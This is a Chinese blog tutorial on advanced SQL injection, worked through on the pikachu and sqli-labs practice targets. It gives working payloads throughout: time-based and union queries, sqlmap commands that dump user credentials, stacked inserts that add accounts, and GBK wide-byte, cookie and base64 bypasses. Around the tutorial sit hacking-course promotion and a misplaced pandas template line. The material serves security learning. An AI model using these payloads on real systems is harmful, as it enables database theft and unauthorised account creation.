SQL注入进阶,零基础入门到精通,收藏这篇就够了

SQL注入高级进阶 立即下载

文章目录
  • 前言
  • 一、时间注入
  • 二、堆叠注入
    • 2.1.获取表信息:
    • 2.2.获取字段信息:
    • 2.3.准备插入新的字段:
  • 三、二次注入
  • 四、宽字节注入
    • 4.1.宽字节注入代码分析
    • 4.2.黑盒环境下的宽字节注入
  • 五、Cookie注入
  • 六、base64编码注入
  • 七、xff注入攻击
  • 总结

前言


承接上一篇SQL初级篇,进行SQL注入的进阶学习。欢迎伙伴们多多交流,多多补充哈~

一、时间注入

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。判断注入可以使用’and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒 根据这个原理来判断存在 SQL 时间注入。

常用到的函数:sleep(),if(),substring()

select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于 1 就会延时 5 秒执行。
-1’ or if(length(database())>1,sleep(5),0)–+ 可以看到网页是大于五秒返回。根据这个原理 n>1 n 不延时就能确定当前数据库的长度了。

在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式。
采用时间注入:

python sqlmap.py -u "http://192.168.2.213/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2"   --technique=T  -v 1 --dbms=mysql   --batch

在这里插入图片描述

-u 表示检测的 url
-v 显示调试模式
–technique=T 检测方法为时间注入
–current-user 获取用户
–current-db 当前库
–batch 使用默认模式 自动 y

获取表
-D 指定数据库 --tables 获取表

python sqlmap.py -u "http://192.168.2.213/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch

在这里插入图片描述

获取字段
在 sqlmap --columns 获取字典 -T 某个表

python sqlmap.py -u "http://192.168.2.213/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --batch

在这里插入图片描述

查询账号和密码

`python sqlmap.py -u "http://192.168.2.213/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D` pikachu --batch

–dump 导出数据
-C 指定查询的字段
-p 指定的检测参数
在这里插入图片描述

示例:pandas 是基于NumPy 的一种工具,该工具是为了解决数据分析任务而创建的。

二、堆叠注入

堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。在 mysql 里 mysqli_multi_query 和 mysql_multi_query这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。但是堆叠查询只能返回第一条查询信息,不返回后面的信息。
下面采用sqli-labs-master靶场进行演示【less-38】

2.1.获取表信息:

-999' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+

在这里插入图片描述

2.2.获取字段信息:

-999' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' limit 1)--+

在这里插入图片描述

2.3.准备插入新的字段:

知道表的列的情况下使用 insert into 插入语句进行增加账号。如果是管理表直接添加管理员账号即可登录后台。
payload:
?id=-999';insert into users values(666,'kakayyds','123456')--+
payload:
?id=-999';insert into users(id,username,password)values(1000,'moonsec','123456')--+
访问 666/1000 即可访问到刚刚添加的账号
在这里插入图片描述

payload:
?id=-999’;insert into users values(222,(select @@version_compile_os),‘123456’)–+
通过该方式也可以对信息进行读取

在这里插入图片描述

三、二次注入

在这里插入图片描述先确定测试的网站是否进行过滤,一般情况下网站都会对输入的参数进行过滤,然后寻找可能会带入恶意数据二次使用的地方。例如用户注册->修改密码邮箱注册->修改密码 文章添加->文章编辑。找一切存在二次使用的功能点。二次注入测试 SQL 注入,二次注入多数是字符型注入,所以要注意闭合问题。现在注册用户 a’ 再分别注册用户 a’ and 1=1# a’ and 1=2# 再来可能触发的地方
Less-24练习
在这里插入图片描述
在这里插入图片描述创建俩用户,然后登录a’#这个用户,对其密码进行修改操作,更改为456789,之后点击更新密码。

在这里插入图片描述再次回到数据库对数据进行查询,发现a’#的密码没有变化,反而a的密码发生了变化。【这就是二次注入】

在这里插入图片描述
从代码层面分析:
在这里插入图片描述这个update函数执行的时候,没有任何防护,转义措施,导致了a’#造成注释,如下:
正常情况:UPDATE users SET PASSWORD=‘456789’ where username=‘a’ and password=‘123456’
二次注入:UPDATE users SET PASSWORD=‘456789’ where username=‘a’#’ and password=‘123456’
二次注入最后标记处直接被#过滤导致用户a’#变成了a用户。同理可对admin用户进行二次注入的密码修改操作。

四、宽字节注入

宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字符集 gbk 会导致宽字节注入,从而逃逸 gpc转义
前提条件:
简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入
Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)

4.1.宽字节注入代码分析

gpc 绕过过程:
%df%27=经过(addslashes)添加【\】进行转义=>%df%5c%27(%5c是URL编码后的\)=(数据库 GBK)=>運’(%df%5c合在一起生成了"運")
sqli-labs-master中less-32案例:
1.开启gpc或者addslashes
2.数据库编码为gbk
即可能存在宽字节注入
在这里插入图片描述

4.2.黑盒环境下的宽字节注入

宽字节检测较为简单 输入%df%27 检测即可或者使用配合 union 检测即可
PoC:%df' union select 1,2,3--+
在这里插入图片描述后面读取数据库数据的方式就和之前一样了。

五、Cookie注入

COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一样。GET 再url 传递参数、POST 在 POST 正文传递参数和值,COOKIE 在 cookie 头传值。在 burpsuite 显示 传递的方式。
PoC:Cookie: uname=admin' and 1=1#

在这里插入图片描述在这里插入图片描述
Payload:Cookie: uname=admisdfn' union select 1,user(),3#

在这里插入图片描述后续思路跟之前一致。

六、base64编码注入

在 php 中 base64_encode()函数对字符串进行 base64 编码,既然可以编码也可以进行解码,base64_decode()这个函数对 base64 进行解码。
编码解码流程:
1–>base64 编码–>“MQ==”–>base64 解密–>1
观察网站是否存在 base64 编码的数据,例如传递的 id 的值,搜索模块。如果存在类似==等,可以用 base64 解码进行测试。

在这里插入图片描述存在 mysqli_error 函数所以可以里利用报错注入再进一步获取敏感信息。admin’)and (updatexml(1,concat(0x7e,(select user()),0x7e),1))– (前面有个空格!)进行 base64 编码是YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpLDEpKS0tICA=提交获取敏感信息。

在这里插入图片描述

七、xff注入攻击

X-Forwarded-For 简称 XFF 头,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP。XFF 并不受 gpc 影响,而且开发人员很容易忽略这个 XFF 头,不会对 XFF 头进行过滤。

总结

进阶篇主要聊了聊七种类型的注入方式,多练习练习,加深印象。还是那句话,大家有其他的也可以补充哈~

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

Enterprise Architect 中文经典教程 本文使用到的EA工程文件下载 一、Enterprise Architect简介 Enterprise Architect是一个对于软件系统开发有着极好支持的CASE软件(Computer Aided Software Engineering)。EA不同于普通的UML画图工具(如VISIO),它将支撑系统开发的全过程。在需求分析阶段,系统分析与设计阶段,系统开发及部署等方面有着强大的支持,... 阅读详情

相关推荐

中兴FTTR光猫变简易OLT:低成本搭建全光监控与局域网实战指南

本文详细介绍了如何将中兴FTTR光猫改造为简易OLT设备,实现低成本全光监控与局域网扩展。通过LOID认证、桥接模式设置及终端数破解,用户可利用二手设备搭建高性能光纤网络,适用于远程监控和长距离组网场景,显著降低部署成本。

chair的专栏 2035

SQL注入【进阶】

SQL注入进阶篇内容,7种注入方式。

m0_49420271的博客 480

20240128 C#与SCPI协议实战:轻量级仪器控制库ScpiNet应用指南

本文详细介绍了轻量级C#库ScpiNet在仪器控制中的应用。相较于传统的NI-VISA,ScpiNet无需安装庞大运行时,通过纯C#实现直接与USB或以太网设备通信,支持跨厂商SCPI仪器。文章提供了从快速连接到实战封装、错误处理的完整指南,帮助开发者构建简洁高效的自动化测试系统。

h9j8k7l6m5n的博客 547

【网络安全】-sql 注入进阶

仅学会1' or 1='1 ,就有不少小菜鸟认为自己已经掌握了sql注入,迫不及待的拿着它去实战,却发现除新手入门级靶场-pikachu-master,没有那个网站搭理我们。原来1' or 1='1 准确的说是sql注入万能公式,是一种最常见的注入模式,学会它在十年前还能碰运气,到现在早就补丁上加补丁,别想学会它能怎么样,最多当成判断sql注入测试字符串使用。不想转行只能继续学习。1.union联合注入:它利用 sql语句中的union操作符来合并两个或多个SELECT。

weixin_65311462的博客 1806

Anaconda下安装LabelImg

Anaconda下安装LabelImg

LYH8543的博客 756

模型剪枝实战 | Torch-Pruning 库在YOLOv8上的应用指南

本文详细介绍了如何使用Torch-Pruning库对YOLOv8模型进行结构化剪枝,以实现模型“瘦身”。通过DepGraph(依赖图)技术自动处理层间依赖,确保剪枝安全。文章提供了从环境搭建、核心原理理解到完整剪枝流程的实战指南,并强调了剪枝后的微调与性能评估,帮助开发者在保持精度的同时显著提升模型推理速度。

weixin_29046035的博客 503

【SQL注入-基础与进阶】

最近在学习SQL注入,学来学去发现还停留在最基础的数字型、字符型、布尔盲注、报错注入这些,更深一点的二次注入、宽字节注入、cookie注入这些都不太了解。准备写一个文档,把学习的过程写下来,也方便后续的一个增加和修改。

m0_62373986的博客 794

保姆级教程:用DaVinci Configurator & Developer从零搭建AUTOSAR OS(TC2xx三核实战)

本文提供了一份详细的AUTOSAR OS配置指南,使用DaVinci Configurator和Developer工具从零开始搭建Infineon TC2xx三核系统。涵盖多核配置协同逻辑、版本兼容性陷阱及验证错误的解决方案,帮助开发者在3小时内构建可运行的多核OS框架。

weixin_33940469的博客 315

SQL注入进阶-order by注入

本文从order by原理简介开始,详细描述了order by注入原理以及多种注入姿势,包含order by union select注入、order by if()注入、order by sleep()注入、order by报错注入。

AkangBoy的博客 1万+

Linux安装MinIO(图文解说详细版)

最近开个新坑,就是在linux环境中操作开发环境,带大家玩转Linux,会整理出一篇Linux的专栏,欢迎大家订阅!! 富贵同学linux环境为CentOS7.8 版本。 上期跟大家说了一下OpenJDK的安装,这次说一下minio的安装 第一步,进入/opt 目录,创建minio文件夹 cd /opt mkdir minio 第二步,wget下载安装包: wget https://dl.minio.io/server/minio/release/linux-amd64/minio 第三步,进入m

编码人生 5万+

图片风格自动分析模型

对于分类任务,我们可以使用交叉熵损失作为损失函数。同时,我们可以选择随机梯度下降(SGD)或Adam等优化器进行模型优化。# 使用SGD优化器# 或使用Adam优化器在这部分,总结整个项目的过程,包括数据准备、模型构建、训练、优化和评估等。同时,讨论可能的改进方向和未来工作,例如尝试更多的模型结构、优化技巧等。

a871923942的博客 1698

全网最全 SQL 注入进阶教程:联合注入、报错注入、盲注全解析

判断列数 → 确定显示位 → 爆数据库名 → 爆表名 → 爆字段名 → 窃取数据参数化预编译查询(根治)使用prepare预编译语句,分离 SQL 逻辑与用户输入,主流框架 MyBatis、ThinkPHP、Laravel 均默认支持,是最推荐的防御方式。输入过滤与特殊字符转义过滤 / 转义' " # -- \;等危险字符,使用官方转义函数处理用户输入(仅作为辅助防御,存在绕过风险)。数据库权限最小化业务代码禁止使用root最高权限账号连接数据库,仅分配增删改查必要权限。关闭线上 SQL 错误回显。

wudiheik的博客 249

SAP_SD模块销售开票计划预收款系统配置及前台操作说明

在 SAP SD 中,开票计划(Billing Plan)是一种允许根据时间节点或里程碑对销售订单进行分期开票的功能。其中最常见的一种应用就是预收款(Down Payment Billing),即在销售订单中直接定义某个百分比或金额作为预收款,系统在开票时自动生成预收账单。大额合同或长期项目型销售(先收 20%,交货前收 30%,交货后收 50%)。分期付款模式(分阶段收款)。必须预收款才能安排生产或交货的业务。后台路径:SPRO—销售与分享—销售—销售凭证—销售凭证项目—定义项目类别。

我小时候很黑的博客 1409

什么是SQL注入?SQL注入详解(非常详细)零基础入门到精通,收藏这一篇就够了

注意,在上面这个mapper文件中,只有一个select语句,而这个语句传参使用了符号$,它会把参数值直接进行替换,而不会进行预编译(如果使用占位符#,就会进行预编译,从而可以防止SQL注入)。(2) 加 ’and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;这显然是不对的,接口把查询范围之外的数据都搜索出来了,如果还有一些修改数据或者操纵数据库的一些命令,那就更危险了。

weixin_45840241的博客 4万+

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

SQL注入基础注入,零基础入门到精通,收藏这篇就够了

后边再次查询,还是有不一样的,那么又会重复上边的操作,这样举例的说就只能是名义上插入0实际插入1(因为上边实际插入的是1,0没有被插入进去,所以再次检索的时候0还是不存在),但是插入1的时候,1是已经插入过的,会产生碰撞,引发报错,此时报错信息会把引发碰撞的值显示出来。然后就是寻找注入点,这一步是最关键的一步,我们要确定好哪一个地方是我们可以利用的,这一步我们可以做一下简单的闭合,比如输入引号或者括号,看运行结果。有延迟就说明这里的盲注是正确的,我们可以进行下一个位置的盲注,直到完全出来。

Python_0011的博客 1515

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

SQL 注入语句整理大全,零基础入门到精通,收藏这篇就够了

虽说目前互联网上已经有很多关于sql注入的神器了,但是在这个WAF横行的时代,手工注入往往在一些真实环境中会引起尤为重要。此处主要把以前学过的知识做个总结,不会有详细的知识解读,替代查询手册的形式,更多以后的复习与查阅,文中内容可能会存在错误,望师傅们斧正!0x01 Mysql手工注入。

m0_61869253的博客 1532

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

sql注入攻击的原理(非常详细),零基础入门到精通,看这一篇就够了

sql注入攻击的原理(非常详细),零基础入门到精通,看这一篇就够了

分享Python知识 5619

SQL 注入总结(非常详细)零基础入门到精通,收藏这篇就够了

1’ and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username=‘用户名’),0x7e,floor(rand(0)*2)))a)#前面所注册的 admin ‘# 账号,在注册时,后端对其进行了转义,’# 被转义成了其他的东西,所以第一次注入无效。

Javachichi的博客 2020

Pikachu靶场-SQL注入,零基础入门到精通,收藏这篇就够了

INSERT注入通过操纵插入的数据或执行额外操作危害数据库安全。

Javachichi的博客 1859

SQL注入分类,一看你就明白了,从零基础到精通,收藏这篇就够了!

字符可以使用单引号包裹,也可以使用双引号包裹,根据包裹字符串的「引号」不同,字符型注入可以分为:「单引号字符型」注入和「双引号字符型」注入。这也是耗费了大白近四个月的时间,吐血整理,文章非常非常长,觉得有用的话,希望粉丝朋友帮忙点个**「分享」参数使用「单引号」包裹时,叫做单引号字符型注入,比如下面这个SQL,就是单引号字符型注入。参数使用「双引号」包裹时,叫做双引号字符型注入,比如下面这个SQL,就是双引号字符型注入。后台对应的SQL如下,字段类型是字符型,这种就是字符型注入。

Galaxy_0的博客 1480

【黑客渗透测试零基础入门必知必会】之初识SQL注入,从零基础到精通,收藏这篇就够了!

id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。SQL Cookie注入原理主要涉及到攻击者利用Web应用程序对Cookie处理不当的漏洞,通过修改或伪造Cookie中的值,将恶意的SQL代码注入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。主要源于应用程序对用户输入的字符型数据没有进行严格的过滤和验证。

Python_0011的博客 1018

SQL注入(非常详细)零基础入门到精通,收藏这一篇就够了

SQL注入就是指Web应用程序对用户输入数据的合理性没有进行判断,前端传入后端的参数是攻击者可控制的,并且根据参数带入数据库查询,攻击者可以通过构造不同的SQL语句来对数据库进行任意查询。

bigbangbangbang1的博客 3539

sql注入语句总结(非常详细)零基础入门到精通,收藏这篇就够了

很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入,一下是本人收集的一些mssql的sql语句.

leah126的博客 4055

sql注入简单例子(非常详细),零基础入门到精通,看这一篇就够了

sql注入简单例子(非常详细),零基础入门到精通,看这一篇就够了

weixin_51725318的博客 6562
上一篇: SQL注入基础注入,零基础入门到精通,收藏这篇就够了
下一篇: 【Osek网络管理测试】知识点解读,零基础入门到精通,收藏这篇就够了
程序员_大白
博客等级 码龄5年 1万+粉丝 4001原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值